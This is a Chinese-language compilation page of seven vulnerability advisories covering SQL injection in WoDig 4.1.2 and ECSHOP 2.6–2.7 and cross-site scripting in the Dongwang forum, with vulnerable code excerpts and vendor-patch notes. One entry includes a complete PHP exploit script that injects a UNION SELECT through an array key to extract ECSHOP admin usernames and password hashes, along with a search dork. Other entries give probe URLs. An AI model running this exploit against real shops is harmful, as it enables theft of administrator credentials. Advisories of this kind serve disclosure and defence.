WoDig社区程序两个页面过滤不严导致SQL注入漏洞

| 收藏本文 下载本文 作者:阿又

以下是小编给大家收集的WoDig社区程序两个页面过滤不严导致SQL注入漏洞(共含7篇),欢迎大家前来参阅。同时,但愿您也能像本文投稿人“阿又”一样,积极向本站投稿分享好文章。

WoDig社区程序两个页面过滤不严导致SQL注入漏洞

篇1:WoDig社区程序两个页面过滤不严导致SQL注入漏洞

WoDig社区程序Movie_list.asp页面过滤不严导致SQL注入漏洞

影响版本:

WoDig 4.1.2

程序介绍:

WODIG程序是一个集digg民主投票方式模式发掘网站、社会性标签tag归类、主题评论、主题群组、Rss订阅等多种WEB2.0元素于一体的新型社区,

漏洞分析:

在文件movie_list.asp中:

tags_name  = Request(“tags_name”)  //第20行

……

<%Call Default.Get_movieContent(“movie_list.asp”)%>  //第152行

Get_movieContent过程在文件wolib/ cls_class.asp中:

Public Sub Get_movieContent(pageurl) //第549行

……

if tags_name “” then  //第561行

Sql = Sql & “ and Src_ID in(Select SrcTag_SrcID From wo_SrcTags Where SrcTag_Name='”&tags_name&“')”

end if

程序没有对放入sql语句中的变量tags_name做过滤导致注入漏洞的产生。

解决方案:

厂商补丁:

WoDig

------------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.wodig.com/

信息来源:

<*来源: Bug.Center.Teamwww.cnbct.org链接:wavdb.com/vuln/1446*>

WoDig社区程序Members.asp页面过滤不严导致SQL注入漏洞

影响版本:

WoDig 4.1.2

程序介绍:

WODIG程序是一个集digg民主投票方式模式发掘网站、社会性标签tag归类、主题评论、主题群组、Rss订阅等多种WEB2.0元素于一体的新型社区。

漏洞分析:

在文件Members.asp中:

SearchType=HTMLEncode(Request(“SearchType”)) //第38行

SearchText=HTMLEncode(Request(“SearchText”))

SearchRole=HTMLEncode(Request(“SearchRole”))

CurrentAccountStatus=HTMLEncode(Request(“CurrentAccountStatus”))

JoinedDateComparer=Left(Request(“JoinedDateComparer”),1)

LastPostDateComparer=Left(Request(“LastPostDateComparer”),1)

JoinedDate_picker=HTMLEncode(Request(“JoinedDate_picker”))

LastPostDate_picker=HTMLEncode(Request(“LastPostDate_picker”))

if SearchType=“all” then SearchType=“UserEmail like '%”&SearchText&“%' or UserName”

if SearchText“” then item=item&“ and (”&SearchType&“ like '%”&SearchText&“%')”

if JoinedDate_picker“” and JoinedDateComparer“” then item=item&“ and DateDiff(”&SqlChar&“d”&SqlChar&“,'”&JoinedDate_picker&“',UserRegisterTime) ”&JoinedDateComparer&“ 0”

if LastPostDate_picker“” and LastPostDateComparer“” then item=item&“ and DateDiff(”&SqlChar&“d”&SqlChar&“,'”&LastPostDate_picker&“',UserActivityTime) ”&LastPostDateComparer&“ 0”

if SearchRole “” then item=item&“ and UserRoleID=”&SearchRole&“”

if CurrentAccountStatus “” then item=item&“ and UserAccountStatus=”&CurrentAccountStatus&“”

多个数字变量使用过滤字符的函数过滤导致注入漏洞的产生,

解决方案:

厂商补丁

WoDig

------------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.wodig.com/

信息来源:

<*来源: Bug.Center.Team www.cnbct.org

链接: wavdb.com/vuln/1444 *>

篇2:WoDig社区程序wodig.asp页面过滤不严导致SQL注入漏洞

系统编号:

WAVDB-01421

影响版本:

WoDig 4.1.2

程序介绍:

WODIG是一套经过完善设计的中文DIGG社区开源程序,是Windows NT服务环境下DIGG社区程序的最佳解决方案,

漏洞分析:

在文件wodig.asp中:

tags_name  = Request(“tags_name”)  //第13行

……

<%Call  Default.Get_MainContent(“wodig.asp”)%>  //第105行

Get_MainContent过程在文件/WoLib/Cls_Class.asp中:

Public Sub Get_MainPP(pageurl)    //第827行

……

if tags_name “” then      //第839行

Sql = Sql & “ and Src_ID in(Select SrcTag_SrcID From wo_SrcTags Where SrcTag_Name='”&tags_name&“')”

end if

程序没有对放入sql语句中的变量tags_name做过滤导致注入漏洞的产生,

漏洞利用:

www.target.com/wodig.asp?tags_name=a'

解决方案:

厂商补丁

WoDig

------------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.wodig.com/

信息来源:

<*来源: Bug.Center.Team www.cnbct.org

篇3:ECSHOP商城系统过滤不严导致SQL注入漏洞

影响版本:

ECSHOP 2.6.1/2.6.2

程序介绍:

ECSHOP是一款开源免费的网上商店系统,由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。

漏洞分析:

文件includes/init.php判断get_magic_quotes_gpc,如果为off则调用addslashes_deep():

// includes/init.php

if (!get_magic_quotes_gpc())

{

if (!emptyempty($_GET))

{

$_GET = addslashes_deep($_GET);

}

if (!emptyempty($_POST))

{

$_POST = addslashes_deep($_POST);

}

$_COOKIE  = addslashes_deep($_COOKIE);

$_REQUEST = addslashes_deep($_REQUEST);

}

addslashes_deep()在文件includes/lib_base.php里最后通过addslashes()处理

// includes/lib_base.php

function addslashes_deep($value)

{

if (emptyempty($value))

{

return $value;

}

else

{

return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);

// 只处理了数组的值:)

}

}

下面看下具体的导致漏洞的代码,文件 pick_out.php里:

// pick_out.php

if (!emptyempty($_GET['attr']))

{

foreach($_GET['attr'] as $key => $value)

{

$key = intval($key);

$_GET['attr'][$key] = htmlspecialchars($value);

// foreach处理的是指定数组的拷贝,所以这里的处理并不影响数组原先的key和value

// 因此可以引入任意的key:)

// 程序员的逻辑出了问题?

}

}

...

foreach ($_GET['attr'] AS $key => $value)

{

$attr_url .= '&attr[' . $key . ']=' . $value;

$attr_picks[] = $key;

if ($i > 0)

{

if (emptyempty($goods_result))

{

break;

}

// 利用key进行注射:)

$goods_result = $db->getCol(“SELECT goods_id FROM ” . $ecs->table(“goods_attr”) . “ WHERE goods_id IN (” . implode(',' , $goods_result) . “) AND attr_id='$key' AND attr_value='$value'”);

由于magic_quotes_gpc=off时没有对$key处理,同时在数组赋值时存在逻辑问题,最终导致了注射漏洞.

漏洞利用:

#!/usr/bin/php

//本程序只作技术交流,请不要用做非法用途!!

print_r('

+---------------------------------------------------------------------------+

ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit

by puret_t

mail: puretot at gmail dot com

team: bbs.wolvez.org

dork: “Powered by ECShop”

+---------------------------------------------------------------------------+

');

/**

* works with magic_quotes_gpc = Off

*/

if ($argc < 3) {

print_r('

+---------------------------------------------------------------------------+

Usage: php '.$argv[0].' host path

host:     target server (ip/hostname)

path:     path to ecshop

Example:

php '.$argv[0].' localhost /ecshop/

+---------------------------------------------------------------------------+

');

exit;

}

error_reporting(7);

ini_set('max_execution_time', 0);

$host = $argv[1];

$path = $argv[2];

$resp = send();

preg_match('#INs(([S]+):([a-z0-9]{32}))#', $resp, $hash);

if ($hash)

exit(“Expoilt Success!nadmin:t$hash[1]nPassword(md5):t$hash[2]n”);

else

exit(“Exploit Failed!n”);

function send()

{

global $host, $path;

$cmd = 'cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat';

$data = “GET ”.$path.“pick_out.php?”.$cmd.“ HTTP/1.1rn”;

$data .= “Host: $hostrn”;

$data .= “Connection: Closernrn”;

$fp = fsockopen($host, 80);

fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))

$resp .= fread($fp, 1024);

return $resp;

}

?>

解决方案:

厂商补丁

ECSHOP

----------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.ecshop.com

信息来源:

<*来源: ryat#www.wolvez.org

链接: www.80vul.com

*>

本文来自: cool kid's blog www.cnredhat.com/?action=show&id=191

篇4:ECSHOP商城系统flow.php页面过滤不严导致SQL注入漏洞漏洞预警

ECSHOP是一款开源免费的网上商店系统,由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。

文件flow.php

..................................

elseif ($_REQUEST[’step’] == ’update_cart’)

{

if (isset($_POST[’goods_number’]) && is_array($_POST[’goods_number’]))

{

flow_update_cart($_POST[’goods_number’]);

}

show_message($_LANG[’update_cart_notice’], $_LANG[’back_to_cart’], ’flow.php’);

exit;

}

...................................

function flow_update_cart($arr)

{

/* 处理 */

foreach ($arr AS $key => $val)

{

$val = intval(make_semiangle($val));

if ($val <= 0)

{

continue;

}

//查询:

$sql = “SELECT `goods_id`, `goods_attr_id`, `product_id`, `extension_code` FROM” .$GLOBALS[’ecs’]->table(’cart’).

“ WHERE rec_id=’$key’ AND session_id=’” . SESS_ID . “’”;

$goods = $GLOBALS[’db’]->getRow($sql);

........................................

$_POST[’goods_number’]变量没有过滤,magic_quotes_gpc=off的情况下可型成注入漏洞

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.ecshop.com

注:首发Mr_Xhming’s Blog

篇5:ECSHOP php商城系统过滤不严导致SQL注入漏洞

ECSHOP是一款开源免费的网上商店系统,由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能

影响版本:

ECSHOP 2.7.2 Release 0604

程序介绍:

ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。

漏洞分析:

在include_libcommon.php中存在如下函数

PHP Code复制内容到剪贴板

functionget_package_info($id)

{

global$ecs,$db,$_CFG;

$now= gmtime;

$sql=“SELECT act_id AS id,  act_name AS package_name, goods_id , goods_name, start_time, end_time, act_desc, ext_info”.

“ FROM ”.$GLOBALS['ecs']->table('goods_activity') .

“ WHERE act_id='$id' AND act_type = ”. GAT_PACKAGE;

$package=$db->GetRow($sql);

/* 将时间转成可阅读格式 */

if($package['start_time'] <=$now&&$package['end_time'] >=$now)

{

$package['is_on_sale'] =“1”;

}

else

{

$package['is_on_sale'] =“0”;

}

$package['start_time'] = local_date('Y-m-d H:i',$package['start_time']);

$package['end_time']   = local_date('Y-m-d H:i',$package['end_time']);

$row= unserialize($package['ext_info']);

unset($package['ext_info']);

if($row)

{

foreach($rowas$key=>$val)

{

$package[$key] =$val;

}

}

$sql=“SELECT pg.package_id, pg.goods_id, pg.goods_number, pg.admin_id, ”.

“ g.goods_sn, g.goods_name, g.market_price, g.goods_thumb, g.is_real, ”.

“ IFNULL(mp.user_price, g.shop_price * '$_SESSION[discount]') AS rank_price ”.

“ FROM ”.$GLOBALS['ecs']->table('package_goods') .“ AS pg ”.

“   LEFT JOIN ”.$GLOBALS['ecs']->table('goods') .“ AS g ”.

“   ON g.goods_id = pg.goods_id ”.

“ LEFT JOIN ”.$GLOBALS['ecs']->table('member_price') .“ AS mp ”.

“ON mp.goods_id = g.goods_id AND mp.user_rank = '$_SESSION[user_rank]' ”.

“ WHERE pg.package_id = ”.$id.“ ”.

“ ORDER BY pg.package_id, pg.goods_id”;

$goods_res=$GLOBALS['db']->getAll($sql);

$market_price= 0;

其中$id没有经过严格过滤就直接进入了SQL查询,导致一个SQL注射漏洞,

在系统的lib_order.php中存在一个该函数的调用

PHP Code复制内容到剪贴板

functionadd_package_to_cart($package_id,$num= 1)

{

$GLOBALS['err']->clean();

/* 取得礼包信息 */

$package= get_package_info($package_id);

if(emptyempty($package))

{

$GLOBALS['err']->add($GLOBALS['_LANG']['goods_not_exists'], ERR_NOT_EXISTS);

returnfalse;

}

在flow.php中存在可控的输入源

PHP Code复制内容到剪贴板

$package=$json->decode($_POST['package_info']);

/* 如果是一步购物,先清空购物车 */

if($_CFG['one_step_buy'] =='1')

{

clear_cart();

}

/* 商品数量是否合法 */

if(!is_numeric($package->number) ||intval($package->number) <= 0)

{

$result['error']   = 1;

$result['message'] =$_LANG['invalid_number'];

}

else

{

/* 添加到购物车 */

if(add_package_to_cart($package->package_id,$package->number))

{

if($_CFG['cart_confirm'] > 2)

$package->package_id来源于输入

解决方案:

厂商补丁

ECSHOP

----------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.ecshop.com

信息来源:

来源: WooYun

篇6:动网论坛三个页面过滤不严导致跨站漏洞

程序介绍:

动网论坛做为动网主要服务产品之一,自投入推广并运营以来,得到了国内外广大互联网用户的广泛好评和支持,做为国内第一的互联网论坛服务品牌,占据了国内论坛服务市场的70%以上的用户,动网论坛服务在一些如电影、下载、网游等热门网站的占有率甚至高达80%以上,是中国论坛服务领域事实上的标准。

漏洞分析:

文件usersms.asp中:

Function ShowPage(CurrentPage,Pcount,totalrec,PageNum) //第175行

Dim SearchStr

SearchStr = “action=”&Request(“action”)

ShowPage = template.html(16)

ShowPage = Replace(ShowPage,“{$colSpan}”,6)

ShowPage = Replace(ShowPage,“{$CurrentPage}”,CurrentPage)

ShowPage = Replace(ShowPage,“{$Pcount}”,Pcount)

ShowPage = Replace(ShowPage,“1”,PageNum)

ShowPage = Replace(ShowPage,“{$totalrec}”,totalrec)

ShowPage = Replace(ShowPage,“{$SearchStr}”,SearchStr)

程序没有对输出变量SearchStr过滤导致xss漏洞的产生

篇7:动网论坛三个页面过滤不严导致跨站漏洞

漏洞分析:

文件Boardhelp.asp中:

Helptitle=Request(“title”) //第22行

……

TempHelp=Replace(TempHelp,“{动网论坛三个页面过滤不严导致跨站漏洞}”,Helptitle) //第51行

程序对于输出的变量Helptitle没有过滤导致xss漏洞的产生,

漏洞利用:

www.target.com/Boardhelp.asp?act=1&title=

shopxp pinglun.asp文件SQL注入漏洞分析漏洞预警

Thaiweb远程文件sql注入漏洞0day漏洞预警

WoDig社区程序两个页面过滤不严导致SQL注入漏洞(锦集7篇)

欢迎下载DOC格式的WoDig社区程序两个页面过滤不严导致SQL注入漏洞,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式

相关文章

热门推荐

HOT

猜你喜欢

NEW
点击下载本文文档